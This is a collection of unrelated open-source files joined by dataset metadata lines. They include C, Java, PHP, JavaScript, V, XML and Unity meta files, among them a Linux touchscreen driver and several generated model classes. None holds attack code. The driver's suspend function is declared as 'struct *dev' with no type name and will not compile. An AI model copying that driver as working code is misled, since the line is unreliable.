Vec_IntFree( vNodeSet ); return vResult; } /**Function************************************************************* Synopsis [Print results.] Description [] SideEffects [] SeeAlso [] ***********************************************************************/ void Abc_NtkPrintFinResults( Vec_Wec_t * vClasses ) { Vec_Int_t * vClass; int i, k, Entry; Vec_WecForEachLevel( vClasses, vClass, i ) Vec_IntForEachEntryStart( vClass, Entry, k, 1 ) printf( "%d %d\n", Vec_IntEntry(vClass, 0), Entry ); } /**Function************************************************************* Synopsis [Top-level procedure.] Description [] SideEffects [] SeeAlso [] ***********************************************************************/ void Abc_NtkDetectClassesTest( Abc_Ntk_t * pNtk, int fSeq, int fVerbose, int fVeryVerbose ) { Vec_Wec_t * vResult; abctime clk = Abc_Clock(); if ( fSeq ) Abc_NtkFrameExtend( pNtk ); vResult = Abc_NtkDetectFinClasses( pNtk, fVerbose ); printf( "Computed %d equivalence classes with %d item pairs. ", Vec_WecSize(vResult), Abc_NtkFinCountPairs(vResult) ); Abc_PrintTime( 1, "Time", Abc_Clock() - clk ); if ( fVeryVerbose ) Vec_WecPrint( vResult, 1 ); // if ( fVerbose ) // Abc_NtkPrintFinResults( vResult ); Vec_WecFree( vResult ); } //////////////////////////////////////////////////////////////////////// /// END OF FILE /// //////////////////////////////////////////////////////////////////////// ABC_NAMESPACE_IMPL_END
{ "pile_set_name": "Github" }
false true false false true true
{ "pile_set_name": "Github" }
/* * Copyright (c) 2012-2018 Red Hat, Inc. * This program and the accompanying materials are made * available under the terms of the Eclipse Public License 2.0 * which is available at https://www.eclipse.org/legal/epl-2.0/ * * SPDX-License-Identifier: EPL-2.0 * * Contributors: * Red Hat, Inc. - initial API and implementation */ package org.eclipse.che.api.core.util; import static org.mockito.Mockito.mock; import static org.mockito.Mockito.verify; import org.testng.annotations.Test; /** @author Anatolii Bazko */ public class ErrorFilteredConsumerTest { @Test public void testRedirect() throws Exception { LineConsumer lineConsumer = mock(LineConsumer.class); ErrorFilteredConsumer errorFilteredConsumer = new ErrorFilteredConsumer(lineConsumer); errorFilteredConsumer.writeLine("Line 1"); errorFilteredConsumer.writeLine("Line 2"); errorFilteredConsumer.writeLine("[STDERR] Line 3"); errorFilteredConsumer.writeLine("[STDERR] Line 4"); errorFilteredConsumer.writeLine("Line 5"); verify(lineConsumer).writeLine("[STDERR] Line 3"); verify(lineConsumer).writeLine("[STDERR] Line 4"); } }
{ "pile_set_name": "Github" }
/** * CSS patterns * * @author Craig Campbell * @version 1.0.9 */ Rainbow.extend('css', [ { 'name': 'comment', 'pattern': /\/\*[\s\S]*?\*\//gm }, { 'name': 'constant.hex-color', 'pattern': /#([a-f0-9]{3}|[a-f0-9]{6})(?=;|\s|,|\))/gi }, { 'matches': { 1: 'constant.numeric', 2: 'keyword.unit' }, 'pattern': /(\d+)(px|em|cm|s|%)?/g }, { 'name': 'string', 'pattern': /('|")(.*?)\1/g }, { 'name': 'support.css-property', 'matches': { 1: 'support.vendor-prefix' }, 'pattern': /(-o-|-moz-|-webkit-|-ms-)?[\w-]+(?=\s?:)(?!.*\{)/g }, { 'matches': { 1: [ { 'name': 'entity.name.sass', 'pattern': /&amp;/g }, { 'name': 'direct-descendant', 'pattern': /&gt;/g }, { 'name': 'entity.name.class', 'pattern': /\.[\w\-_]+/g }, { 'name': 'entity.name.id', 'pattern': /\#[\w\-_]+/g }, { 'name': 'entity.name.pseudo', 'pattern': /:[\w\-_]+/g }, { 'name': 'entity.name.tag', 'pattern': /\w+/g } ] }, 'pattern': /([\w\ ,\n:\.\#\&\;\-_]+)(?=.*\{)/g }, { 'matches': { 2: 'support.vendor-prefix', 3: 'support.css-value' }, 'pattern': /(:|,)\s*(-o-|-moz-|-webkit-|-ms-)?([a-zA-Z-]*)(?=\b)(?!.*\{)/g } ], true);
{ "pile_set_name": "Github" }
/* * Atmel AT91 and AVR32 continuous touch screen driver for Wolfson WM97xx AC97 * codecs. * * Copyright (C) 2008 - 2009 Atmel Corporation * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 as published by * the Free Software Foundation. */ #include <linux/module.h> #include <linux/moduleparam.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/delay.h> #include <linux/irq.h> #include <linux/interrupt.h> #include <linux/wm97xx.h> #include <linux/timer.h> #include <linux/gpio.h> #include <linux/io.h> #include <linux/slab.h> #define AC97C_ICA 0x10 #define AC97C_CBRHR 0x30 #define AC97C_CBSR 0x38 #define AC97C_CBMR 0x3c #define AC97C_IER 0x54 #define AC97C_IDR 0x58 #define AC97C_RXRDY (1 << 4) #define AC97C_OVRUN (1 << 5) #define AC97C_CMR_SIZE_20 (0 << 16) #define AC97C_CMR_SIZE_18 (1 << 16) #define AC97C_CMR_SIZE_16 (2 << 16) #define AC97C_CMR_SIZE_10 (3 << 16) #define AC97C_CMR_CEM_LITTLE (1 << 18) #define AC97C_CMR_CEM_BIG (0 << 18) #define AC97C_CMR_CENA (1 << 21) #define AC97C_INT_CBEVT (1 << 4) #define AC97C_SR_CAEVT (1 << 3) #define AC97C_CH_MASK(slot) \ (0x7 << (3 * (slot - 3))) #define AC97C_CH_ASSIGN(slot, channel) \ (AC97C_CHANNEL_##channel << (3 * (slot - 3))) #define AC97C_CHANNEL_NONE 0x0 #define AC97C_CHANNEL_B 0x2 #define ac97c_writel(chip, reg, val) \ __raw_writel((val), (chip)->regs + AC97C_##reg) #define ac97c_readl(chip, reg) \ __raw_readl((chip)->regs + AC97C_##reg) #ifdef CONFIG_CPU_AT32AP700X #define ATMEL_WM97XX_AC97C_IOMEM (0xfff02800) #define ATMEL_WM97XX_AC97C_IRQ (29) #define ATMEL_WM97XX_GPIO_DEFAULT (32+16) /* Pin 16 on port B. */ #else #error Unknown CPU, this driver only supports AT32AP700X CPUs. #endif struct continuous { u16 id; /* codec id */ u8 code; /* continuous code */ u8 reads; /* number of coord reads per read cycle */ u32 speed; /* number of coords per second */ }; #define WM_READS(sp) ((sp / HZ) + 1) static const struct continuous cinfo[] = { {WM9705_ID2, 0, WM_READS(94), 94}, {WM9705_ID2, 1, WM_READS(188), 188}, {WM9705_ID2, 2, WM_READS(375), 375}, {WM9705_ID2, 3, WM_READS(750), 750}, {WM9712_ID2, 0, WM_READS(94), 94}, {WM9712_ID2, 1, WM_READS(188), 188}, {WM9712_ID2, 2, WM_READS(375), 375}, {WM9712_ID2, 3, WM_READS(750), 750}, {WM9713_ID2, 0, WM_READS(94), 94}, {WM9713_ID2, 1, WM_READS(120), 120}, {WM9713_ID2, 2, WM_READS(154), 154}, {WM9713_ID2, 3, WM_READS(188), 188}, }; /* Continuous speed index. */ static int sp_idx; /* * Pen sampling frequency (Hz) in continuous mode. */ static int cont_rate = 188; module_param(cont_rate, int, 0); MODULE_PARM_DESC(cont_rate, "Sampling rate in continuous mode (Hz)"); /* * Pen down detection. * * This driver can either poll or use an interrupt to indicate a pen down * event. If the irq request fails then it will fall back to polling mode. */ static int pen_int = 1; module_param(pen_int, int, 0); MODULE_PARM_DESC(pen_int, "Pen down detection (1 = interrupt, 0 = polling)"); /* * Pressure readback. * * Set to 1 to read back pen down pressure. */ static int pressure; module_param(pressure, int, 0); MODULE_PARM_DESC(pressure, "Pressure readback (1 = pressure, 0 = no pressure)"); /* * AC97 touch data slot. * * Touch screen readback data ac97 slot. */ static int ac97_touch_slot = 5; module_param(ac97_touch_slot, int, 0); MODULE_PARM_DESC(ac97_touch_slot, "Touch screen data slot AC97 number"); /* * GPIO line number. * * Set to GPIO number where the signal from the WM97xx device is hooked up. */ static int atmel_gpio_line = ATMEL_WM97XX_GPIO_DEFAULT; module_param(atmel_gpio_line, int, 0); MODULE_PARM_DESC(atmel_gpio_line, "GPIO line number connected to WM97xx"); struct atmel_wm97xx { struct wm97xx *wm; struct timer_list pen_timer; void __iomem *regs; unsigned long ac97c_irq; unsigned long gpio_pen; unsigned long gpio_irq; unsigned short x; unsigned short y; }; static irqreturn_t atmel_wm97xx_channel_b_interrupt(int irq, void *dev_id) { struct atmel_wm97xx *atmel_wm97xx = dev_id; struct wm97xx *wm = atmel_wm97xx->wm; int status = ac97c_readl(atmel_wm97xx, CBSR); irqreturn_t retval = IRQ_NONE; if (status & AC97C_OVRUN) { dev_dbg(&wm->touch_dev->dev, "AC97C overrun\n"); ac97c_readl(atmel_wm97xx, CBRHR); retval = IRQ_HANDLED; } else if (status & AC97C_RXRDY) { u16 data; u16 value; u16 source; u16 pen_down; data = ac97c_readl(atmel_wm97xx, CBRHR); value = data & 0x0fff; source = data & WM97XX_ADCSEL_MASK; pen_down = (data & WM97XX_PEN_DOWN) >> 8; if (source == WM97XX_ADCSEL_X) atmel_wm97xx->x = value; if (source == WM97XX_ADCSEL_Y) atmel_wm97xx->y = value; if (!pressure && source == WM97XX_ADCSEL_Y) { input_report_abs(wm->input_dev, ABS_X, atmel_wm97xx->x); input_report_abs(wm->input_dev, ABS_Y, atmel_wm97xx->y); input_report_key(wm->input_dev, BTN_TOUCH, pen_down); input_sync(wm->input_dev); } else if (pressure && source == WM97XX_ADCSEL_PRES) { input_report_abs(wm->input_dev, ABS_X, atmel_wm97xx->x); input_report_abs(wm->input_dev, ABS_Y, atmel_wm97xx->y); input_report_abs(wm->input_dev, ABS_PRESSURE, value); input_report_key(wm->input_dev, BTN_TOUCH, value); input_sync(wm->input_dev); } retval = IRQ_HANDLED; } return retval; } static void atmel_wm97xx_acc_pen_up(struct wm97xx *wm) { struct atmel_wm97xx *atmel_wm97xx = platform_get_drvdata(wm->touch_dev); struct input_dev *input_dev = wm->input_dev; int pen_down = gpio_get_value(atmel_wm97xx->gpio_pen); if (pen_down != 0) { mod_timer(&atmel_wm97xx->pen_timer, jiffies + msecs_to_jiffies(1)); } else { if (pressure) input_report_abs(input_dev, ABS_PRESSURE, 0); input_report_key(input_dev, BTN_TOUCH, 0); input_sync(input_dev); } } static void atmel_wm97xx_pen_timer(unsigned long data) { atmel_wm97xx_acc_pen_up((struct wm97xx *)data); } static int atmel_wm97xx_acc_startup(struct wm97xx *wm) { struct atmel_wm97xx *atmel_wm97xx = platform_get_drvdata(wm->touch_dev); int idx = 0; if (wm->ac97 == NULL) return -ENODEV; for (idx = 0; idx < ARRAY_SIZE(cinfo); idx++) { if (wm->id != cinfo[idx].id) continue; sp_idx = idx; if (cont_rate <= cinfo[idx].speed) break; } wm->acc_rate = cinfo[sp_idx].code; wm->acc_slot = ac97_touch_slot; dev_info(&wm->touch_dev->dev, "atmel accelerated touchscreen driver, " "%d samples/sec\n", cinfo[sp_idx].speed); if (pen_int) { unsigned long reg; wm->pen_irq = atmel_wm97xx->gpio_irq; switch (wm->id) { case WM9712_ID2: /* Fall through. */ case WM9713_ID2: /* * Use GPIO 13 (PEN_DOWN) to assert GPIO line 3 * (PENDOWN). */ wm97xx_config_gpio(wm, WM97XX_GPIO_13, WM97XX_GPIO_IN, WM97XX_GPIO_POL_HIGH, WM97XX_GPIO_STICKY, WM97XX_GPIO_WAKE); wm97xx_config_gpio(wm, WM97XX_GPIO_3, WM97XX_GPIO_OUT, WM97XX_GPIO_POL_HIGH, WM97XX_GPIO_NOTSTICKY, WM97XX_GPIO_NOWAKE); case WM9705_ID2: /* Fall through. */ /* * Enable touch data slot in AC97 controller channel B. */ reg = ac97c_readl(atmel_wm97xx, ICA); reg &= ~AC97C_CH_MASK(wm->acc_slot); reg |= AC97C_CH_ASSIGN(wm->acc_slot, B); ac97c_writel(atmel_wm97xx, ICA, reg); /* * Enable channel and interrupt for RXRDY and OVERRUN. */ ac97c_writel(atmel_wm97xx, CBMR, AC97C_CMR_CENA | AC97C_CMR_CEM_BIG | AC97C_CMR_SIZE_16 | AC97C_OVRUN | AC97C_RXRDY); /* Dummy read to empty RXRHR. */ ac97c_readl(atmel_wm97xx, CBRHR); /* * Enable interrupt for channel B in the AC97 * controller. */ ac97c_writel(atmel_wm97xx, IER, AC97C_INT_CBEVT); break; default: dev_err(&wm->touch_dev->dev, "pen down irq not " "supported on this device\n"); pen_int = 0; break; } } return 0; } static void atmel_wm97xx_acc_shutdown(struct wm97xx *wm) { if (pen_int) { struct atmel_wm97xx *atmel_wm97xx = platform_get_drvdata(wm->touch_dev); unsigned long ica; switch (wm->id & 0xffff) { case WM9705_ID2: /* Fall through. */ case WM9712_ID2: /* Fall through. */ case WM9713_ID2: /* Disable slot and turn off channel B interrupts. */ ica = ac97c_readl(atmel_wm97xx, ICA); ica &= ~AC97C_CH_MASK(wm->acc_slot); ac97c_writel(atmel_wm97xx, ICA, ica); ac97c_writel(atmel_wm97xx, IDR, AC97C_INT_CBEVT); ac97c_writel(atmel_wm97xx, CBMR, 0); wm->pen_irq = 0; break; default: dev_err(&wm->touch_dev->dev, "unknown codec\n"); break; } } } static void atmel_wm97xx_irq_enable(struct wm97xx *wm, int enable) { /* Intentionally left empty. */ } static struct wm97xx_mach_ops atmel_mach_ops = { .acc_enabled = 1, .acc_pen_up = atmel_wm97xx_acc_pen_up, .acc_startup = atmel_wm97xx_acc_startup, .acc_shutdown = atmel_wm97xx_acc_shutdown, .irq_enable = atmel_wm97xx_irq_enable, .irq_gpio = WM97XX_GPIO_3, }; static int __init atmel_wm97xx_probe(struct platform_device *pdev) { struct wm97xx *wm = platform_get_drvdata(pdev); struct atmel_wm97xx *atmel_wm97xx; int ret; atmel_wm97xx = kzalloc(sizeof(struct atmel_wm97xx), GFP_KERNEL); if (!atmel_wm97xx) { dev_dbg(&pdev->dev, "out of memory\n"); return -ENOMEM; } atmel_wm97xx->wm = wm; atmel_wm97xx->regs = (void *)ATMEL_WM97XX_AC97C_IOMEM; atmel_wm97xx->ac97c_irq = ATMEL_WM97XX_AC97C_IRQ; atmel_wm97xx->gpio_pen = atmel_gpio_line; atmel_wm97xx->gpio_irq = gpio_to_irq(atmel_wm97xx->gpio_pen); setup_timer(&atmel_wm97xx->pen_timer, atmel_wm97xx_pen_timer, (unsigned long)wm); ret = request_irq(atmel_wm97xx->ac97c_irq, atmel_wm97xx_channel_b_interrupt, IRQF_SHARED, "atmel-wm97xx-ch-b", atmel_wm97xx); if (ret) { dev_dbg(&pdev->dev, "could not request ac97c irq\n"); goto err; } platform_set_drvdata(pdev, atmel_wm97xx); ret = wm97xx_register_mach_ops(wm, &atmel_mach_ops); if (ret) goto err_irq; return ret; err_irq: free_irq(atmel_wm97xx->ac97c_irq, atmel_wm97xx); err: kfree(atmel_wm97xx); return ret; } static int __exit atmel_wm97xx_remove(struct platform_device *pdev) { struct atmel_wm97xx *atmel_wm97xx = platform_get_drvdata(pdev); struct wm97xx *wm = atmel_wm97xx->wm; ac97c_writel(atmel_wm97xx, IDR, AC97C_INT_CBEVT); free_irq(atmel_wm97xx->ac97c_irq, atmel_wm97xx); del_timer_sync(&atmel_wm97xx->pen_timer); wm97xx_unregister_mach_ops(wm); kfree(atmel_wm97xx); return 0; } #ifdef CONFIG_PM_SLEEP static int atmel_wm97xx_suspend(struct *dev) { struct platform_device *pdev = to_platform_device(dev); struct atmel_wm97xx *atmel_wm97xx = platform_get_drvdata(pdev); ac97c_writel(atmel_wm97xx, IDR, AC97C_INT_CBEVT); disable_irq(atmel_wm97xx->gpio_irq); del_timer_sync(&atmel_wm97xx->pen_timer); return 0; } static int atmel_wm97xx_resume(struct device *dev) { struct platform_device *pdev = to_platform_device(dev); struct atmel_wm97xx *atmel_wm97xx = platform_get_drvdata(pdev); struct wm97xx *wm = atmel_wm97xx->wm; if (wm->input_dev->users) { enable_irq(atmel_wm97xx->gpio_irq); ac97c_writel(atmel_wm97xx, IER, AC97C_INT_CBEVT); } return 0; } #endif static SIMPLE_DEV_PM_OPS(atmel_wm97xx_pm_ops, atmel_wm97xx_suspend, atmel_wm97xx_resume); static struct platform_driver atmel_wm97xx_driver = { .remove = __exit_p(atmel_wm97xx_remove), .driver = { .name = "wm97xx-touch", .owner = THIS_MODULE, .pm = &atmel_wm97xx_pm_ops, }, }; module_platform_driver_probe(atmel_wm97xx_driver, atmel_wm97xx_probe); MODULE_AUTHOR("Hans-Christian Egtvedt <[email protected]>"); MODULE_DESCRIPTION("wm97xx continuous touch driver for Atmel AT91 and AVR32"); MODULE_LICENSE("GPL");
{ "pile_set_name": "Github" }
//===----------------------------------------------------------------------===// // // The LLVM Compiler Infrastructure // // This file is dual licensed under the MIT and the University of Illinois Open // Source Licenses. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// int main() { }
{ "pile_set_name": "Github" }
const ( aaa = 1 aaa = 2 ) fn main() { println(aaa) }
{ "pile_set_name": "Github" }
/* * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ /* * This code was generated by https://github.com/googleapis/google-api-java-client-services/ * Modify at your own risk. */ package com.google.api.services.firebasedynamiclinks.v1.model; /** * Request for iSDK to execute strong match flow for post-install attribution. This is meant for iOS * requests only. Requests from other platforms will not be honored. * * <p> This is the Java data model class that specifies how to parse/serialize into the JSON that is * transmitted over HTTP when working with the Firebase Dynamic Links API. For a detailed * explanation see: * <a href="https://developers.google.com/api-client-library/java/google-http-java-client/json">https://developers.google.com/api-client-library/java/google-http-java-client/json</a> * </p> * * @author Google, Inc. */ @SuppressWarnings("javadoc") public final class GetIosPostInstallAttributionRequest extends com.google.api.client.json.GenericJson { /** * App installation epoch time (https://en.wikipedia.org/wiki/Unix_time). This is a client signal * for a more accurate weak match. * The value may be {@code null}. */ @com.google.api.client.util.Key @com.google.api.client.json.JsonString private java.lang.Long appInstallationTime; /** * APP bundle ID. * The value may be {@code null}. */ @com.google.api.client.util.Key private java.lang.String bundleId; /** * Device information. * The value may be {@code null}. */ @com.google.api.client.util.Key private DeviceInfo device; /** * iOS version, ie: 9.3.5. Consider adding "build". * The value may be {@code null}. */ @com.google.api.client.util.Key private java.lang.String iosVersion; /** * App post install attribution retrieval information. Disambiguates mechanism (iSDK or developer * invoked) to retrieve payload from clicked link. * The value may be {@code null}. */ @com.google.api.client.util.Key private java.lang.String retrievalMethod; /** * Google SDK version. Version takes the form "$major.$minor.$patch" * The value may be {@code null}. */ @com.google.api.client.util.Key private java.lang.String sdkVersion; /** * Possible unique matched link that server need to check before performing fingerprint match. If * passed link is short server need to expand the link. If link is long server need to vslidate * the link. * The value may be {@code null}. */ @com.google.api.client.util.Key private java.lang.String uniqueMatchLinkToCheck; /** * Strong match page information. Disambiguates between default UI and custom page to present when * strong match succeeds/fails to find cookie. * The value may be {@code null}. */ @com.google.api.client.util.Key private java.lang.String visualStyle; /** * App installation epoch time (https://en.wikipedia.org/wiki/Unix_time). This is a client signal * for a more accurate weak match. * @return value or {@code null} for none */ public java.lang.Long getAppInstallationTime() { return appInstallationTime; } /** * App installation epoch time (https://en.wikipedia.org/wiki/Unix_time). This is a client signal * for a more accurate weak match. * @param appInstallationTime appInstallationTime or {@code null} for none */ public GetIosPostInstallAttributionRequest setAppInstallationTime(java.lang.Long appInstallationTime) { this.appInstallationTime = appInstallationTime; return this; } /** * APP bundle ID. * @return value or {@code null} for none */ public java.lang.String getBundleId() { return bundleId; } /** * APP bundle ID. * @param bundleId bundleId or {@code null} for none */ public GetIosPostInstallAttributionRequest setBundleId(java.lang.String bundleId) { this.bundleId = bundleId; return this; } /** * Device information. * @return value or {@code null} for none */ public DeviceInfo getDevice() { return device; } /** * Device information. * @param device device or {@code null} for none */ public GetIosPostInstallAttributionRequest setDevice(DeviceInfo device) { this.device = device; return this; } /** * iOS version, ie: 9.3.5. Consider adding "build". * @return value or {@code null} for none */ public java.lang.String getIosVersion() { return iosVersion; } /** * iOS version, ie: 9.3.5. Consider adding "build". * @param iosVersion iosVersion or {@code null} for none */ public GetIosPostInstallAttributionRequest setIosVersion(java.lang.String iosVersion) { this.iosVersion = iosVersion; return this; } /** * App post install attribution retrieval information. Disambiguates mechanism (iSDK or developer * invoked) to retrieve payload from clicked link. * @return value or {@code null} for none */ public java.lang.String getRetrievalMethod() { return retrievalMethod; } /** * App post install attribution retrieval information. Disambiguates mechanism (iSDK or developer * invoked) to retrieve payload from clicked link. * @param retrievalMethod retrievalMethod or {@code null} for none */ public GetIosPostInstallAttributionRequest setRetrievalMethod(java.lang.String retrievalMethod) { this.retrievalMethod = retrievalMethod; return this; } /** * Google SDK version. Version takes the form "$major.$minor.$patch" * @return value or {@code null} for none */ public java.lang.String getSdkVersion() { return sdkVersion; } /** * Google SDK version. Version takes the form "$major.$minor.$patch" * @param sdkVersion sdkVersion or {@code null} for none */ public GetIosPostInstallAttributionRequest setSdkVersion(java.lang.String sdkVersion) { this.sdkVersion = sdkVersion; return this; } /** * Possible unique matched link that server need to check before performing fingerprint match. If * passed link is short server need to expand the link. If link is long server need to vslidate * the link. * @return value or {@code null} for none */ public java.lang.String getUniqueMatchLinkToCheck() { return uniqueMatchLinkToCheck; } /** * Possible unique matched link that server need to check before performing fingerprint match. If * passed link is short server need to expand the link. If link is long server need to vslidate * the link. * @param uniqueMatchLinkToCheck uniqueMatchLinkToCheck or {@code null} for none */ public GetIosPostInstallAttributionRequest setUniqueMatchLinkToCheck(java.lang.String uniqueMatchLinkToCheck) { this.uniqueMatchLinkToCheck = uniqueMatchLinkToCheck; return this; } /** * Strong match page information. Disambiguates between default UI and custom page to present when * strong match succeeds/fails to find cookie. * @return value or {@code null} for none */ public java.lang.String getVisualStyle() { return visualStyle; } /** * Strong match page information. Disambiguates between default UI and custom page to present when * strong match succeeds/fails to find cookie. * @param visualStyle visualStyle or {@code null} for none */ public GetIosPostInstallAttributionRequest setVisualStyle(java.lang.String visualStyle) { this.visualStyle = visualStyle; return this; } @Override public GetIosPostInstallAttributionRequest set(String fieldName, Object value) { return (GetIosPostInstallAttributionRequest) super.set(fieldName, value); } @Override public GetIosPostInstallAttributionRequest clone() { return (GetIosPostInstallAttributionRequest) super.clone(); } }
{ "pile_set_name": "Github" }
<?php namespace Concrete\Core\Board\Instance\Item\Populator; use Concrete\Core\Entity\Board\DataSource\ConfiguredDataSource; use Concrete\Core\Entity\Board\DataSource\DataSource; use Concrete\Core\Entity\Board\Instance; use Concrete\Core\Entity\Board\Item; defined('C5_EXECUTE') or die("Access Denied."); interface PopulatorInterface { /** * @param Instance $instance * @param ConfiguredDataSource $configuredDataSource * @return Item[] */ public function createItemsFromDataSource( Instance $instance, ConfiguredDataSource $configuredDataSource ): array; /** * @param $mixed * @return Item|null */ public function createItemFromObject(DataSource $dataSource, $mixed):? Item; }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> <parent> <groupId>io.quarkus</groupId> <artifactId>quarkus-core-parent</artifactId> <version>999-SNAPSHOT</version> <relativePath>../</relativePath> </parent> <modelVersion>4.0.0</modelVersion> <artifactId>quarkus-test-extension-parent</artifactId> <name>Quarkus - Core - Test Extension</name> <packaging>pom</packaging> <properties> <maven.deploy.skip>true</maven.deploy.skip> </properties> <modules> <module>deployment</module> <module>runtime</module> </modules> <build> <plugins> <plugin> <artifactId>maven-compiler-plugin</artifactId> <configuration> <parameters>true</parameters> </configuration> </plugin> <plugin> <groupId>org.sonatype.plugins</groupId> <artifactId>nexus-staging-maven-plugin</artifactId> <version>${nexus-staging-maven-plugin.version}</version> <configuration> <skipNexusStagingDeployMojo>true</skipNexusStagingDeployMojo> </configuration> </plugin> </plugins> </build> </project>
{ "pile_set_name": "Github" }
/* * Copyright (C) 2020 Grakn Labs * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as * published by the Free Software Foundation, either version 3 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ package grakn.core.graph.diskstorage.keycolumnvalue.keyvalue; import grakn.core.graph.diskstorage.StaticBuffer; /** * Representation of a (key,value) pair. */ public class KeyValueEntry { private final StaticBuffer key; private final StaticBuffer value; public KeyValueEntry(StaticBuffer key, StaticBuffer value) { this.key = key; this.value = value; } public StaticBuffer getKey() { return key; } public StaticBuffer getValue() { return value; } }
{ "pile_set_name": "Github" }
fileFormatVersion: 2 guid: 8e52d561a2f97e844a149bad5e0433de TextureImporter: internalIDToNameTable: - first: 213: 21300000 second: ui-dialogbox-button-up_0 externalObjects: {} serializedVersion: 10 mipmaps: mipMapMode: 0 enableMipMap: 0 sRGBTexture: 1 linearTexture: 0 fadeOut: 0 borderMipMap: 0 mipMapsPreserveCoverage: 0 alphaTestReferenceValue: 0.5 mipMapFadeDistanceStart: 1 mipMapFadeDistanceEnd: 3 bumpmap: convertToNormalMap: 0 externalNormalMap: 0 heightScale: 0.25 normalMapFilter: 0 isReadable: 0 streamingMipmaps: 0 streamingMipmapsPriority: 0 grayScaleToAlpha: 0 generateCubemap: 6 cubemapConvolution: 0 seamlessCubemap: 0 textureFormat: 1 maxTextureSize: 2048 textureSettings: serializedVersion: 2 filterMode: -1 aniso: -1 mipBias: -100 wrapU: 1 wrapV: 1 wrapW: 1 nPOTScale: 0 lightmap: 0 compressionQuality: 50 spriteMode: 2 spriteExtrude: 1 spriteMeshType: 1 alignment: 0 spritePivot: {x: 0.5, y: 0.5} spritePixelsToUnits: 100 spriteBorder: {x: 0, y: 0, z: 0, w: 0} spriteGenerateFallbackPhysicsShape: 1 alphaUsage: 1 alphaIsTransparency: 1 spriteTessellationDetail: -1 textureType: 8 textureShape: 1 singleChannelComponent: 0 maxTextureSizeSet: 0 compressionQualitySet: 0 textureFormatSet: 0 platformSettings: - serializedVersion: 3 buildTarget: DefaultTexturePlatform maxTextureSize: 2048 resizeAlgorithm: 0 textureFormat: -1 textureCompression: 1 compressionQuality: 50 crunchedCompression: 0 allowsAlphaSplitting: 0 overridden: 0 androidETC2FallbackOverride: 0 forceMaximumCompressionQuality_BC6H_BC7: 1 - serializedVersion: 3 buildTarget: Standalone maxTextureSize: 2048 resizeAlgorithm: 0 textureFormat: -1 textureCompression: 1 compressionQuality: 50 crunchedCompression: 0 allowsAlphaSplitting: 0 overridden: 0 androidETC2FallbackOverride: 0 forceMaximumCompressionQuality_BC6H_BC7: 1 spriteSheet: serializedVersion: 2 sprites: - serializedVersion: 2 name: ui-dialogbox-button-up_0 rect: serializedVersion: 2 x: 0 y: 8 width: 128 height: 24 alignment: 0 pivot: {x: 0.5, y: 0.5} border: {x: 10, y: 7, z: 10, w: 7} outline: [] physicsShape: [] tessellationDetail: 0 bones: [] spriteID: a961986c911181c4999b470c6ac5fa05 internalID: 21300000 vertices: [] indices: edges: [] weights: [] outline: [] physicsShape: [] bones: [] spriteID: bc4fcc820f352b646a631282b397b988 internalID: 0 vertices: [] indices: edges: [] weights: [] secondaryTextures: [] spritePackingTag: pSDRemoveMatte: 0 pSDShowRemoveMatteOption: 0 userData: assetBundleName: assetBundleVariant:
{ "pile_set_name": "Github" }
// Copyright 2017 JanusGraph Authors // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package org.janusgraph.graphdb.inmemory; import org.janusgraph.diskstorage.configuration.ModifiableConfiguration; import org.janusgraph.diskstorage.configuration.WriteConfiguration; import org.janusgraph.graphdb.JanusGraphPartitionGraphTest; import org.janusgraph.graphdb.configuration.GraphDatabaseConfiguration; /** * @author Matthias Broecheler ([email protected]) */ public class InMemoryPartitionGraphTest extends JanusGraphPartitionGraphTest { @Override public WriteConfiguration getBaseConfiguration() { ModifiableConfiguration config = GraphDatabaseConfiguration.buildGraphConfiguration(); config.set(GraphDatabaseConfiguration.STORAGE_BACKEND,"inmemory"); config.set(GraphDatabaseConfiguration.IDS_FLUSH,false); return config.getConfiguration(); } @Override public void clopen(Object... settings) { newTx(); } @Override public void testPartitionSpreadFlushBatch() { } @Override public void testPartitionSpreadFlushNoBatch() { } @Override public void testKeyBasedGraphPartitioning() {} }
{ "pile_set_name": "Github" }
<?php /** * SEOmatic plugin for Craft CMS 3.x * * A turnkey SEO implementation for Craft CMS that is comprehensive, powerful, * and flexible * * @link https://nystudio107.com * @copyright Copyright (c) 2017 nystudio107 */ namespace nystudio107\seomatic\models\jsonld; use nystudio107\seomatic\models\jsonld\CreativeWork; /** * ExercisePlan - Fitness-related activity designed for a specific * health-related purpose, including defined exercise routines as well as * activity prescribed by a clinician. * * @author nystudio107 * @package Seomatic * @since 3.0.0 * @see http://schema.org/ExercisePlan */ class ExercisePlan extends CreativeWork { // Static Public Properties // ========================================================================= /** * The Schema.org Type Name * * @var string */ static public $schemaTypeName = 'ExercisePlan'; /** * The Schema.org Type Scope * * @var string */ static public $schemaTypeScope = 'https://schema.org/ExercisePlan'; /** * The Schema.org Type Description * * @var string */ static public $schemaTypeDescription = 'Fitness-related activity designed for a specific health-related purpose, including defined exercise routines as well as activity prescribed by a clinician.'; /** * The Schema.org Type Extends * * @var string */ static public $schemaTypeExtends = 'CreativeWork'; /** * The Schema.org composed Property Names * * @var array */ static public $schemaPropertyNames = []; /** * The 